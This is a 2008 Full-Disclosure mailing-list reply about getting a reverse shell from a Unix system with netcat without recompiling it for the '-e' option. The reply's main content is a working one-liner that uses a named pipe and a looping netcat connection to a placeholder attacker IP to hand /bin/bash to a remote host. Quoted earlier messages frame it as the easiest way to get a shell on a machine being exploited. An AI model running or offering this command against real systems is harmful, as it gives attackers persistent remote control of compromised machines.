full-disclosure - Re: Reverse Shell Without Enabling Netcat's "GAPING_SECURITY

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Message-Id: <AC2DF4C0-2625-4140-9D19-AF710779597A@gmail.com>
Date: Sat, 20 Sep 2008 01:53:24 +0200
From: Davide Guerri <davide.guerri@...il.com>
To: 545945 <545945@...il.com>
Cc: Full Disclosure <full-disclosure@...ts.grok.org.uk>
Subject: Re: Reverse Shell Without Enabling Netcat's
	"GAPING_SECURITY_HOLE"

mkfifo /tmp/a; while true; do { sleep 1; nc <IP> 80 </tmp/a|/bin/ 
bash&>/tmp/a; } done

Il giorno 20/set/08, alle ore 01:25, 545945 ha scritto:

> Funny I actually saw your reply before my original post with the
> method in it was posted.  The question was he wanted the easiest
> method using Netcat.  On a system that you may not have a lot of
> access to (i.e. one you are running an exploit against) downloading
> cryptcat and running that would be a lot harder since it is not
> included in any of the standard *Nix distros, where as Netcat usually
> is.  So the goal is to get a reverse shell using as little effort as
> possible and if the ability exists without having to run a bunch of
> commands on a remote server then why not.  But you are correct as I
> stated in the original post, there is more than one way to do this.
> In the end it is the results that make them happy getting there is
> one's own choice.
>
>
>
> On Fri, Sep 19, 2008 at 6:28 PM, Kurt Buff <kurt.buff@...il.com>  
> wrote:
>> On Fri, Sep 19, 2008 at 3:01 PM, 545945 <545945@...il.com> wrote:
>>>     Recently a friend of mine asked me a seemingly simple  
>>> question.  What
>>> is the easiest method to get a reverse shell from a *nix based  
>>> system using
>>> Netcat.  He then added a caveat, that he did not want worry about
>>> recompiling the source to enable the "GAPING_SECURITY_HOLE" option  
>>> that
>>> allows you to bind a shell using "-e".  My first thought was to  
>>> say "Dude go
>>> check Google and stop bothering me with this piddly shit", however  
>>> I have in
>>> the past had this same discussion with others and trying to  
>>> construct a
>>> Google search string and get meaningful results on this subject  
>>> can prove
>>> very irritating.  Because of this I gave in and told him the  
>>> method I use
>>> which is laid out below.  I then had the thought that I should  
>>> post it
>>> somewhere else so it was a little easier for the next person to  
>>> find.  I say
>>> "somewhere else" because I can only assume that I am not the first  
>>> person to
>>> post this method.
>>
>> <snip>
>>
>> Or you could just grab cryptcat and be done with it, if I understand
>> what you're after.
>>
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Full-Disclosure - We believe in it.
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